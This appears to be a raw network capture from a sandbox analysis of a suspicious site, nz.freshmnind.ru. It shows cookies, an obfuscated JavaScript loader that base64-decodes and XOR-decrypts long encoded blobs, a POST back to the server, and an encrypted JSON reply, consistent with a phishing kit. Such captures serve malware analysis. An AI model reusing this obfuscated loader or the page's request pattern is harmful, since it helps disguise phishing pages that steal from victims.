XSRF-TOKEN=eyJpdiI6ImNTQlgyR25BVlBobHg0bEViVWpYRGc9PSIsInZhbHVlIjoiTnh6b0F0cnpNajVTQjJEaHlaWTgwcWRwa0l3UngyL0RLcGU0dC9kWWVDdVJUK3k4YVZvMFZXZFA4cWd1Tys5ZnFpV2ZlbHEwbGVBUTNHbWNnWXRPdnFFMjkxM2VmRlRqMmlDcTlwalVVM1F3RUdXSmc5cGRxbW9vam9EU3NkWUkiLCJtYWMiOiI5YWMzM2JiM2E2ZDIzZjRjMzI0MTJjZGU5ZTBiN2NjNTg1NTI3YmVkN2IzM2QyZTY5NmY1NDlmOThjZWJiZmMyIiwidGFnIjoiIn0%3D; expires=Tue, 25-Mar-2025 19:08:15 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-25 17:08:15 UTC	766	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6b 35 70 54 57 56 56 55 47 73 34 55 55 38 35 63 48 4e 4e 53 55 35 4b 54 32 4e 53 53 46 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 54 45 5a 6e 63 58 45 33 51 6d 4d 76 55 6d 5a 4d 52 79 74 71 65 58 5a 36 51 6c 52 59 62 6a 4a 47 52 48 4e 4c 4d 43 39 72 5a 54 4e 6b 4c 30 6f 31 5a 47 46 76 63 6e 70 56 59 6b 46 78 4b 33 5a 33 4e 55 74 48 54 6d 5a 31 5a 6b 38 34 64 46 4a 58 62 6b 77 79 64 56 56 6d 57 58 46 51 4e 55 52 32 4d 48 6b 32 56 43 74 32 4e 46 68 73 56 57 64 48 65 53 73 32 52 45 70 32 59 33 56 47 53 57 35 74 55 46 6c 70 64 44 4e 57 64 30 52 36 52 53 73 76 55 33 70 79 51 33 64 73 55 55 4e 47 52 31 4a 61 52 33 52 70 52 46 68 6a 51 57 6f Data Ascii: Set-Cookie: laravel_session=eyJpdiI6Ik5pTWVVUGs4UU85cHNNSU5KT2NSSFE9PSIsInZhbHVlIjoiTEZncXE3QmMvUmZMRytqeXZ6QlRYbjJGRHNLMC9rZTNkL0o1ZGFvcnpVYkFxK3Z3NUtHTmZ1Zk84dFJXbkwydVVmWXFQNUR2MHk2VCt2NFhsVWdHeSs2REp2Y3VGSW5tUFlpdDNWd0R6RSsvU3pyQ3dsUUNGR1JaR3RpRFhjQWo
2025-03-25 17:08:15 UTC	1369	IN	Data Raw: 34 36 62 63 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 66 75 6e 63 74 69 6f 6e 20 42 50 4c 42 64 75 66 44 50 46 28 53 52 4b 78 4f 61 69 79 59 67 2c 20 6b 59 46 4c 50 59 75 6d 73 72 29 20 7b 0d 0a 6c 65 74 20 75 66 4d 44 6a 49 52 66 6e 76 20 3d 20 27 27 3b 0d 0a 53 52 4b 78 4f 61 69 79 59 67 20 3d 20 61 74 6f 62 28 53 52 4b 78 4f 61 69 79 59 67 29 3b 0d 0a 6c 65 74 20 70 63 47 63 65 5a 42 61 57 6a 20 3d 20 6b 59 46 4c 50 59 75 6d 73 72 2e 6c 65 6e 67 74 68 3b 0d 0a 66 6f 72 20 28 6c 65 74 20 69 20 3d 20 30 3b 20 69 20 3c 20 53 52 4b 78 4f 61 69 79 59 67 2e 6c 65 6e 67 74 68 3b 20 69 2b 2b 29 20 7b 0d 0a 20 20 20 20 75 66 4d 44 6a 49 52 66 6e 76 20 2b 3d 20 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 53 52 4b 78 4f 61 69 79 59 67 2e 63 68 61 72 43 Data Ascii: 46bc<script>function BPLBdufDPF(SRKxOaiyYg, kYFLPYumsr) {let ufMDjIRfnv = '';SRKxOaiyYg = atob(SRKxOaiyYg);let pcGceZBaWj = kYFLPYumsr.length;for (let i = 0; i < SRKxOaiyYg.length; i++) { ufMDjIRfnv += String.fromCharCode(SRKxOaiyYg.charC
2025-03-25 17:08:15 UTC	1369	IN	Data Raw: 6a 4d 78 63 63 50 54 35 52 49 51 52 36 4b 78 6b 43 50 7a 46 72 58 52 6b 55 4a 53 42 38 50 42 41 41 49 46 45 2b 47 7a 67 34 44 51 45 30 4e 77 78 37 48 78 51 4d 4a 48 77 38 48 41 74 71 66 43 46 2b 4f 44 55 62 47 6a 38 62 47 6e 51 4f 42 77 67 77 4c 54 77 62 45 7a 35 38 4b 67 78 38 4f 41 30 37 61 44 45 30 51 6c 38 48 41 79 4d 7a 45 51 38 48 4b 6e 77 68 41 43 51 51 48 53 39 6f 48 54 42 33 57 53 30 6c 4a 79 59 35 47 78 41 72 62 7a 45 69 44 78 4e 34 4a 7a 51 64 4d 48 52 61 41 41 67 7a 63 7a 6b 5a 59 68 4a 38 4b 67 38 73 4f 41 6b 30 50 78 73 61 64 41 34 48 43 44 41 74 45 43 45 51 4d 31 45 68 42 44 67 2b 49 7a 64 6f 4d 54 64 6a 42 51 49 49 4d 7a 41 55 48 7a 34 30 55 53 30 68 4c 42 55 43 50 32 6b 49 43 6b 49 4f 4c 33 6b 6e 66 79 52 71 61 7a 4a 76 50 53 45 73 50 7a Data Ascii: jMxccPT5RIQR6KxkCPzFrXRkUJSB8PBAAIFE+Gzg4DQE0Nwx7HxQMJHw8HAtqfCF+ODUbGj8bGnQOBwgwLTwbEz58Kgx8OA07aDE0Ql8HAyMzEQ8HKnwhACQQHS9oHTB3WS0lJyY5GxArbzEiDxN4JzQdMHRaAAgzczkZYhJ8Kg8sOAk0PxsadA4HCDAtECEQM1EhBDg+IzdoMTdjBQIIMzAUHz40US0hLBUCP2kICkIOL3knfyRqazJvPSEsPz
2025-03-25 17:08:15 UTC	1369	IN	Data Raw: 49 51 41 6e 50 6a 31 46 45 78 73 61 64 41 34 48 41 30 45 45 4e 6a 5a 69 4b 58 6f 65 66 67 41 72 44 55 77 79 4e 67 34 45 42 53 77 6c 49 44 38 73 44 77 41 79 5a 7a 45 55 4a 78 4d 6b 4a 78 55 7a 41 58 74 5a 46 42 78 45 4a 68 59 78 4e 54 64 73 57 33 63 2b 46 51 30 6a 62 44 59 65 42 41 55 73 4a 53 51 6b 4f 52 73 51 4e 46 45 2b 65 79 45 56 44 52 6b 75 4d 44 42 64 42 53 6f 6d 4a 7a 38 52 47 7a 6b 2b 55 42 35 2b 41 44 67 4a 4e 44 38 62 48 6d 4e 62 46 42 78 45 65 6a 6b 32 45 43 42 76 4d 52 51 6e 45 79 51 6e 48 51 67 4f 62 77 45 71 48 41 6c 36 50 68 73 35 62 6e 45 34 49 53 77 34 43 54 51 2f 4d 54 52 6a 57 53 6f 54 4f 7a 38 38 48 77 67 78 56 79 45 41 4a 7a 34 39 52 52 4d 30 43 6c 35 65 43 68 6f 42 42 78 41 7a 49 68 39 57 42 78 77 6d 4a 68 77 37 4e 42 73 64 42 51 34 Data Ascii: IQAnPj1FExsadA4HA0EENjZiKXoefgArDUwyNg4EBSwlID8sDwAyZzEUJxMkJxUzAXtZFBxEJhYxNTdsW3c+FQ0jbDYeBAUsJSQkORsQNFE+eyEVDRkuMDBdBSomJz8RGzk+UB5+ADgJND8bHmNbFBxEejk2ECBvMRQnEyQnHQgObwEqHAl6Phs5bnE4ISw4CTQ/MTRjWSoTOz88HwgxVyEAJz49RRM0Cl5eChoBBxAzIh9WBxwmJhw7NBsdBQ4
2025-03-25 17:08:15 UTC	1369	IN	Data Raw: 7a 59 65 55 68 6f 48 44 42 30 2f 46 41 41 41 4b 57 77 2b 4f 54 38 53 65 44 73 77 4d 42 35 67 55 41 4d 59 52 54 30 38 4d 6d 59 53 66 43 6f 50 63 78 55 4e 47 57 67 77 48 6d 42 43 47 77 78 49 4d 78 45 66 43 43 39 58 4c 69 49 39 4f 41 6b 73 50 77 4d 4f 55 51 55 73 4a 6a 39 2f 50 42 74 69 50 6d 45 2b 64 79 41 72 45 6a 38 74 47 78 78 6e 42 53 31 35 48 53 51 58 4d 69 55 76 55 53 34 69 65 78 4d 4e 49 48 4d 52 4d 48 51 4f 48 67 77 4a 4f 68 63 31 49 54 35 55 49 51 51 6e 4b 79 42 46 4d 54 4d 52 5a 31 6b 74 41 7a 78 38 4f 53 46 72 4e 46 64 62 65 33 73 53 4d 30 41 32 4d 47 73 4d 42 79 77 4d 4a 79 49 57 48 7a 34 6a 65 51 51 41 50 52 4d 5a 54 44 49 78 61 6e 67 51 48 6e 6b 72 49 68 63 50 50 69 70 51 50 58 38 46 45 33 68 41 61 44 46 72 59 78 41 74 4a 6a 64 36 4f 6a 59 32 Data Ascii: zYeUhoHDB0/FAAAKWw+OT8SeDswMB5gUAMYRT08MmYSfCoPcxUNGWgwHmBCGwxIMxEfCC9XLiI9OAksPwMOUQUsJj9/PBtiPmE+dyArEj8tGxxnBS15HSQXMiUvUS4iexMNIHMRMHQOHgwJOhc1IT5UIQQnKyBFMTMRZ1ktAzx8OSFrNFdbe3sSM0A2MGsMBywMJyIWHz4jeQQAPRMZTDIxangQHnkrIhcPPipQPX8FE3hAaDFrYxAtJjd6OjY2
2025-03-25 17:08:15 UTC	1369	IN	Data Raw: 41 74 4c 44 56 72 62 58 6b 78 41 43 51 6f 48 53 63 75 4e 69 4e 61 44 67 4d 49 4d 48 6f 57 45 44 55 2b 65 77 63 4d 66 7a 67 43 50 7a 59 4c 4e 48 41 47 41 77 67 47 4c 54 67 62 4a 54 35 34 4b 6a 6b 73 50 41 6c 42 49 42 6b 4e 52 69 49 48 43 44 41 74 50 42 42 69 45 6e 59 41 44 79 77 34 43 54 63 33 43 41 35 7a 41 68 51 54 4f 43 30 55 48 42 63 2b 55 42 34 68 4c 44 67 4a 4e 44 38 62 47 6e 63 64 46 78 4d 37 4a 42 51 50 5a 6d 39 38 4c 51 39 38 4d 69 4d 30 50 78 73 61 64 41 34 48 44 43 73 38 46 7a 59 44 4c 56 5a 62 49 6e 30 72 48 68 6f 2f 48 7a 41 42 57 43 30 6d 4a 7a 34 36 4c 7a 30 2b 66 43 6f 50 4c 44 67 4a 4e 7a 55 77 61 77 42 5a 41 68 4d 56 4a 68 51 50 4e 6a 5a 52 4c 53 45 73 50 7a 41 30 4c 78 30 75 57 67 34 48 43 44 41 74 45 77 6b 39 45 6e 77 71 44 79 77 34 44 Data Ascii: AtLDVrbXkxACQoHScuNiNaDgMIMHoWEDU+ewcMfzgCPzYLNHAGAwgGLTgbJT54KjksPAlBIBkNRiIHCDAtPBBiEnYADyw4CTc3CA5zAhQTOC0UHBc+UB4hLDgJND8bGncdFxM7JBQPZm98LQ98MiM0PxsadA4HDCs8FzYDLVZbIn0rHho/HzABWC0mJz46Lz0+fCoPLDgJNzUwawBZAhMVJhQPNjZRLSEsPzA0Lx0uWg4HCDAtEwk9EnwqDyw4D
2025-03-25 17:08:15 UTC	1369	IN	Data Raw: 44 50 69 49 72 48 53 38 75 4d 54 52 67 44 69 73 38 48 69 30 38 47 78 4d 2b 66 43 6f 4d 49 52 4e 34 51 47 67 49 44 67 42 5a 41 53 49 77 4a 44 38 69 49 52 4a 38 4b 67 38 73 4f 41 6b 30 50 7a 45 65 44 42 4d 76 45 79 4d 36 46 32 70 6d 62 33 77 75 43 43 49 53 65 45 77 72 4e 67 46 6e 42 51 45 38 48 69 30 38 47 78 4d 2b 66 43 6f 4d 65 78 4e 35 4e 47 34 62 48 58 52 65 44 53 49 77 4c 54 77 62 45 7a 35 38 4c 6a 59 6e 4b 79 51 6b 62 68 73 64 64 46 34 4e 49 6a 41 74 50 42 73 54 50 6e 77 68 42 44 73 72 65 42 31 6f 48 54 42 30 48 67 45 38 48 69 30 38 47 78 4d 2b 66 43 6f 4d 49 68 4e 35 4a 32 67 77 61 77 56 66 42 77 38 77 66 54 59 78 45 7a 35 38 4b 67 38 73 4f 41 30 2f 4d 41 74 72 51 51 63 74 4a 6b 68 37 46 7a 55 44 62 33 77 68 42 43 55 6f 4a 7a 41 33 48 78 70 43 44 67 Data Ascii: DPiIrHS8uMTRgDis8Hi08GxM+fCoMIRN4QGgIDgBZASIwJD8iIRJ8Kg8sOAk0PzEeDBMvEyM6F2pmb3wuCCISeEwrNgFnBQE8Hi08GxM+fCoMexN5NG4bHXReDSIwLTwbEz58LjYnKyQkbhsddF4NIjAtPBsTPnwhBDsreB1oHTB0HgE8Hi08GxM+fCoMIhN5J2gwawVfBw8wfTYxEz58Kg8sOA0/MAtrQQctJkh7FzUDb3whBCUoJzA3HxpCDg
2025-03-25 17:08:15 UTC	1369	IN	Data Raw: 45 54 42 30 44 67 63 49 4d 33 4d 32 50 7a 30 2b 66 43 6f 50 4c 44 30 6e 4d 7a 45 77 61 6d 4e 5a 41 67 67 77 50 78 5a 71 42 43 42 52 42 43 49 68 4b 78 49 34 4b 78 73 61 41 42 34 73 65 44 74 36 4c 7a 56 72 4b 6c 51 2b 64 6a 67 34 43 55 42 6f 43 41 46 37 57 53 38 63 51 44 77 58 4e 54 34 78 56 79 45 44 4f 44 67 4a 51 44 49 77 61 77 42 5a 46 78 77 2f 65 6a 77 51 49 52 4a 38 4b 67 38 73 4f 41 6b 30 50 77 73 30 63 77 4d 76 65 52 55 7a 46 32 73 45 4c 47 38 71 66 79 45 54 65 41 30 75 4d 54 4e 61 44 69 70 35 47 54 6f 52 48 77 64 75 64 67 41 50 4c 44 67 4a 4e 44 38 62 48 67 51 42 4c 53 59 56 4f 68 63 79 50 54 35 34 41 77 77 38 46 41 34 47 45 78 73 61 64 41 34 48 43 44 41 74 4c 44 56 72 49 47 38 75 47 44 49 39 45 6a 38 77 43 42 35 5a 57 43 30 78 48 69 30 34 44 42 41 Data Ascii: ETB0DgcIM3M2Pz0+fCoPLD0nMzEwamNZAggwPxZqBCBRBCIhKxI4KxsaAB4seDt6LzVrKlQ+djg4CUBoCAF7WS8cQDwXNT4xVyEDODgJQDIwawBZFxw/ejwQIRJ8Kg8sOAk0Pws0cwMveRUzF2sELG8qfyETeA0uMTNaDip5GToRHwdudgAPLDgJND8bHgQBLSYVOhcyPT54Aww8FA4GExsadA4HCDAtLDVrIG8uGDI9Ej8wCB5ZWC0xHi04DBA
2025-03-25 17:08:15 UTC	1369	IN	Data Raw: 69 30 38 47 78 4d 2b 66 43 6f 4d 50 79 67 53 50 7a 59 7a 44 67 46 66 42 77 38 30 50 52 59 51 4e 54 35 34 4c 54 30 41 4f 41 6b 30 50 78 73 61 64 41 34 55 4a 6b 67 2f 45 52 74 6a 49 31 51 78 50 69 63 2b 49 7a 51 67 48 6a 4e 6a 45 42 51 63 51 58 30 32 4d 52 4d 2b 66 43 6f 4d 63 6a 49 74 47 6a 38 62 47 6e 51 4f 41 6a 49 65 4c 53 4d 66 42 43 4e 52 4c 69 49 2f 45 33 68 41 4b 41 73 4f 54 52 4d 48 43 42 34 38 4e 6a 45 54 50 6e 77 71 44 7a 34 56 44 53 4d 69 4e 68 35 5a 48 53 78 35 52 44 6f 73 44 79 55 74 56 44 45 63 4a 78 4d 5a 4e 79 67 77 44 6c 59 4f 4b 7a 77 65 4c 54 77 62 45 7a 35 38 4b 67 78 34 45 42 30 6e 61 44 4d 64 57 67 34 44 48 7a 41 39 46 68 41 31 62 6e 59 41 44 79 77 34 43 54 51 2f 47 78 35 64 42 53 38 63 46 53 55 52 48 44 30 2b 65 44 30 50 50 42 49 43 Data Ascii: i08GxM+fCoMPygSPzYzDgFfBw80PRYQNT54LT0AOAk0PxsadA4UJkg/ERtjI1QxPic+IzQgHjNjEBQcQX02MRM+fCoMcjItGj8bGnQOAjIeLSMfBCNRLiI/E3hAKAsOTRMHCB48NjETPnwqDz4VDSMiNh5ZHSx5RDosDyUtVDEcJxMZNygwDlYOKzweLTwbEz58Kgx4EB0naDMdWg4DHzA9FhA1bnYADyw4CTQ/Gx5dBS8cFSURHD0+eD0PPBIC
2025-03-25 17:08:15 UTC	1369	IN	Data Raw: 74 37 65 7a 30 53 45 54 51 7a 44 6c 45 47 4b 67 38 65 4c 53 77 31 61 79 70 76 4c 54 30 41 4f 41 6b 30 50 78 73 61 64 41 34 71 41 7a 73 69 46 7a 59 63 4b 56 45 75 49 6a 30 54 49 42 6f 2f 43 7a 52 7a 41 79 39 35 46 54 4d 58 61 77 51 73 62 79 70 2f 49 52 4e 34 44 53 34 78 4d 48 51 65 41 69 45 2f 4d 44 77 66 42 44 46 57 57 78 74 38 4d 69 4d 30 50 78 73 61 64 31 41 4e 4c 42 34 74 50 42 73 54 50 6e 6b 45 41 44 30 54 4a 43 63 77 43 32 70 6b 44 68 51 6d 53 44 4d 58 43 78 41 77 55 54 45 63 65 78 4e 34 51 57 34 7a 48 67 78 62 46 42 4d 34 4c 52 41 76 50 54 35 38 4b 67 38 73 4f 41 6b 33 4d 51 73 4f 65 78 73 55 65 44 73 38 45 51 39 6e 4d 6e 6b 2b 41 44 30 54 44 55 77 68 48 54 42 30 41 77 4d 68 47 6e 34 34 48 78 74 73 65 68 34 68 4c 44 67 4a 4e 44 38 30 43 46 6f 69 42 Data Ascii: t7ez0SETQzDlEGKg8eLSw1aypvLT0AOAk0PxsadA4qAzsiFzYcKVEuIj0TIBo/CzRzAy95FTMXawQsbyp/IRN4DS4xMHQeAiE/MDwfBDFWWxt8MiM0Pxsad1ANLB4tPBsTPnkEAD0TJCcwC2pkDhQmSDMXCxAwUTEcexN4QW4zHgxbFBM4LRAvPT58Kg8sOAk3MQsOexsUeDs8EQ9nMnk+AD0TDUwhHTB0AwMhGn44Hxtseh4hLDgJND80CFoiB

Timestamp	Bytes transferred	Direction	Data
2025-03-25 17:08:15 UTC	1457	OUT	POST /rqhMZrxcLmuSgWxr7Fiam5z0o7XZsftkrmXZqzaPSanAdSjy HTTP/1.1 Host: nz.freshmnind.ru Connection: keep-alive Content-Length: 6 sec-ch-ua-platform: "Windows" X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 Origin: https://nz.freshmnind.ru Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://nz.freshmnind.ru/E9nFcFhuAwW2u/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImNTQlgyR25BVlBobHg0bEViVWpYRGc9PSIsInZhbHVlIjoiTnh6b0F0cnpNajVTQjJEaHlaWTgwcWRwa0l3UngyL0RLcGU0dC9kWWVDdVJUK3k4YVZvMFZXZFA4cWd1Tys5ZnFpV2ZlbHEwbGVBUTNHbWNnWXRPdnFFMjkxM2VmRlRqMmlDcTlwalVVM1F3RUdXSmc5cGRxbW9vam9EU3NkWUkiLCJtYWMiOiI5YWMzM2JiM2E2ZDIzZjRjMzI0MTJjZGU5ZTBiN2NjNTg1NTI3YmVkN2IzM2QyZTY5NmY1NDlmOThjZWJiZmMyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik5pTWVVUGs4UU85cHNNSU5KT2NSSFE9PSIsInZhbHVlIjoiTEZncXE3QmMvUmZMRytqeXZ6QlRYbjJGRHNLMC9rZTNkL0o1ZGFvcnpVYkFxK3Z3NUtHTmZ1Zk84dFJXbkwydVVmWXFQNUR2MHk2VCt2NFhsVWdHeSs2REp2Y3VGSW5tUFlpdDNWd0R6RSsvU3pyQ3dsUUNGR1JaR3RpRFhjQWoiLCJtYWMiOiJhNTYyNmU1NWViMzI4MjkzNDc3YTYzNGJhMWFlNDYyMzhmYzhjNDg0ZWZmNGI0MzdkZjQ4NTAzNTRlOTI2ZGJkIiwidGFnIjoiIn0%3D
2025-03-25 17:08:15 UTC	6	OUT	Data Raw: 64 61 74 61 3d 55 Data Ascii: data=U
2025-03-25 17:08:16 UTC	1210	IN	HTTP/1.1 200 OK Date: Tue, 25 Mar 2025 17:08:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=F8n1iF56QzQq8Au%2BZ1XmWtqUzgX0XeVWjV0bFQI9pIRHCBPfDf3HToPInhKv%2FWZsY6hUVBB6SLZP5lY7CM04F8uit5DnUwIr4XOKOn3ygSC%2Fi1a3wKlAER%2F%2B%2BTv7"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=4457&min_rtt=4416&rtt_var=1738&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2827&recv_bytes=2372&delivery_rate=610326&cwnd=251&unsent_bytes=0&cid=a7f3cbea6d1e6dbf&ts=129&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6Ikc4QW5Od3lEbGVMYnJ3d1FzOUJoaWc9PSIsInZhbHVlIjoiOWF5NVhaV3VBY0E1Qy8xNmpRL282MUprU2c1d01uK3p6VWlrZmdlTnpTVnNwKzVPMU5VVlJSSCtwUXlxc3hnd29DQmNUcTNnQTdBTlAwTWs1UWN4U0ZaK1h1TlVmSFowSmN2R2pHYVlLMHRjYXpvS09aUEhqZ3dzN1ErbzhhaG8iLCJtYWMiOiI5YjkyNjUwYzBkNDQxN2RjZGE1Yjg2YmQ2OGJmNWViZWQyMWRiYjEzZDVhYWVkOTMyMWJlMjRjMzVjZDA4ZWI0IiwidGFnIjoiIn0%3D; expires=Tue, 25-Mar-2025 19:08:16 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-25 17:08:16 UTC	768	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6d 46 4f 57 6d 4a 47 4d 45 4a 70 54 6a 49 31 54 6e 52 33 4c 31 4e 45 56 54 4e 35 5a 58 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 4e 58 70 6e 62 46 52 6f 4e 33 4a 6b 5a 48 5a 70 51 57 34 77 4f 57 30 77 59 55 46 51 4c 31 5a 4b 54 55 56 44 4e 6b 4a 75 4d 48 52 6a 56 54 52 52 4d 48 6c 73 52 6c 70 77 61 6c 42 30 63 6b 46 4f 57 6c 64 50 62 6e 52 44 4e 6d 4e 6d 54 7a 5a 4e 65 53 74 61 55 45 56 49 5a 55 4a 47 65 6d 74 43 64 48 70 4e 54 31 4e 4f 53 48 64 46 57 6e 70 79 5a 30 78 48 4f 45 63 32 4e 32 34 34 53 6e 56 45 59 6e 64 57 52 44 56 59 53 46 63 79 59 6a 42 44 56 47 31 52 51 58 68 4a 55 32 35 43 57 45 70 46 55 57 6c 33 62 6c 5a 32 56 45 73 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6ImFOWmJGMEJpTjI1TnR3L1NEVTN5ZXc9PSIsInZhbHVlIjoiNXpnbFRoN3JkZHZpQW4wOW0wYUFQL1ZKTUVDNkJuMHRjVTRRMHlsRlpwalB0ckFOWldPbnRDNmNmTzZNeStaUEVIZUJGemtCdHpNT1NOSHdFWnpyZ0xHOEc2N244SnVEYndWRDVYSFcyYjBDVG1RQXhJU25CWEpFUWl3blZ2VEs
2025-03-25 17:08:16 UTC	317	IN	Data Raw: 31 33 36 0d 0a 7b 22 61 22 3a 22 5a 56 36 4b 68 35 4a 44 79 78 57 4a 6a 54 4e 75 71 77 42 7a 50 48 54 4b 6f 69 32 73 74 2b 64 51 43 4b 76 57 6c 51 69 35 73 41 74 53 6c 75 75 47 4d 71 71 6d 43 5c 2f 70 4a 57 5a 6a 7a 5a 44 70 53 6b 6d 51 66 32 43 7a 72 71 6e 79 55 61 6d 71 39 32 50 33 56 69 37 52 42 47 6e 4d 49 6c 45 63 37 50 49 37 4a 70 61 46 46 63 6c 52 58 41 55 34 69 79 45 4d 2b 70 47 6a 50 6d 46 50 57 54 78 42 79 4b 65 78 6a 79 56 68 70 42 34 69 31 4c 30 48 31 71 4b 46 66 42 67 3d 3d 22 2c 22 62 22 3a 22 30 32 30 32 33 38 64 65 36 30 37 63 36 34 66 64 33 65 38 32 31 34 64 36 64 38 65 31 35 63 30 61 22 2c 22 63 22 3a 22 32 39 34 63 37 37 36 33 37 32 62 34 33 32 64 61 36 35 31 61 34 62 39 36 39 34 38 32 39 65 34 31 22 2c 22 64 22 3a 22 36 36 36 35 36 32 Data Ascii: 136{"a":"ZV6Kh5JDyxWJjTNuqwBzPHTKoi2st+dQCKvWlQi5sAtSluuGMqqmC\/pJWZjzZDpSkmQf2CzrqnyUamq92P3Vi7RBGnMIlEc7PI7JpaFFclRXAU4iyEM+pGjPmFPWTxByKexjyVhpB4i1L0H1qKFfBg==","b":"020238de607c64fd3e8214d6d8e15c0a","c":"294c776372b432da651a4b9694829e41","d":"666562
2025-03-25 17:08:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-25 17:08:16 UTC	1332	OUT	GET /favicon.ico HTTP/1.1 Host: nz.freshmnind.ru Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://nz.freshmnind.ru/E9nFcFhuAwW2u/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImNTQlgyR25BVlBobHg0bEViVWpYRGc9PSIsInZhbHVlIjoiTnh6b0F0cnpNajVTQjJEaHlaWTgwcWRwa0l3UngyL0RLcGU0dC9kWWVDdVJUK3k4YVZvMFZXZFA4cWd1Tys5ZnFpV2ZlbHEwbGVBUTNHbWNnWXRPdnFFMjkxM2VmRlRqMmlDcTlwalVVM1F3RUdXSmc5cGRxbW9vam9EU3NkWUkiLCJtYWMiOiI5YWMzM2JiM2E2ZDIzZjRjMzI0MTJjZGU5ZTBiN2NjNTg1NTI3YmVkN2IzM2QyZTY5NmY1NDlmOThjZWJiZmMyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik5pTWVVUGs4UU85cHNNSU5KT2NSSFE9PSIsInZhbHVlIjoiTEZncXE3QmMvUmZMRytqeXZ6QlRYbjJGRHNLMC9rZTNkL0o1ZGFvcnpVYkFxK3Z3NUtHTmZ1Zk84dFJXbkwydVVmWXFQNUR2MHk2VCt2NFhsVWdHeSs2REp2Y3VGSW5tUFlpdDNWd0R6RSsvU3pyQ3dsUUNGR1JaR3RpRFhjQWoiLCJtYWMiOiJhNTYyNmU1NWViMzI4MjkzNDc3YTYzNGJhMWFlNDYyMzhmYzhjNDg0ZWZmNGI0MzdkZjQ4NTAzNTRlOTI2ZGJkIiwidGFnIjoiIn0%3D
2025-03-25 17:08:16 UTC	1054	IN	HTTP/1.1 404 Not Found Date: Tue, 25 Mar 2025 17:08:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=b1R4l4F9uVRnJY6B%2FnyAKyPRz3488sYqrGoNXHihBfLgp0PekZiXQv4wixuPMK9pEsuIRKSxL9dT3sX%2B2M3hVrGKbQQcyqrHvPQro1OHqZ7O8cCpd1tg2ZOiOgcL"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding server-timing: cfL4;desc="?proto=TCP&rtt=5388&min_rtt=5153&rtt_var=2402&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2827&recv_bytes=2241&delivery_rate=411773&cwnd=251&unsent_bytes=0&cid=8c215971c7f9a823&ts=131&x=0" Cache-Control: max-age=14400 CF-Cache-Status: EXPIRED Server: cloudflare CF-RAY: 926002625fa2c475-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=106445&min_rtt=105678&rtt_var=23453&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2831&recv_bytes=1904&delivery_rate=34478&cwnd=214&unsent_bytes=0&cid=3df9bcf9447b2cd5&ts=634&x=0"
2025-03-25 17:08:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
